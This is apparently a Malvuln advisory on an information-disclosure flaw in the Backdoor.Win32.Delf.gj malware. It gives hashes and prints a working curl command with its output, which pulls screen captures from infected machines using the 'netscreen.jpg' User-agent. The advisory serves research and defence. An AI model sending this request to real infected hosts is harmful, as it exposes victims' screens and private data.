Backdoor.Win32.Delf.gj MVID-2022-0663 Information Disclosure

Backdoor.Win32.Delf.gj malware suffers from an information leakage vulnerability.

SHA-256 | 622118d5760b64ae86f8de28e2d430c1c15ec650e7c1db8f5920f134dd887c5e

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
Contact: [email protected]
Backup media:

Threat: Backdoor.Win32.Delf.gj
Vulnerability: Information Disclosure
Description: The malware listens on TCP port 80. Third-party adversaries who can reach an infected system can pass "netscreen.jpg" for the User-agent: header in the HTTP request to download victim machines screen captures.
Family: Delf
Type: PE32
MD5: 8872c2ec49ff3382240762a029631684
Vuln ID: MVID-2022-0663
Disclosure: 12/01/2022

curl http://x.x.x.x -H "User-agent: netscreen.jpg" --output screendump.jpg
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 215k 100 215k 0 0 215k 0 0:00:01 --:--:-- 0:00:01 1976k

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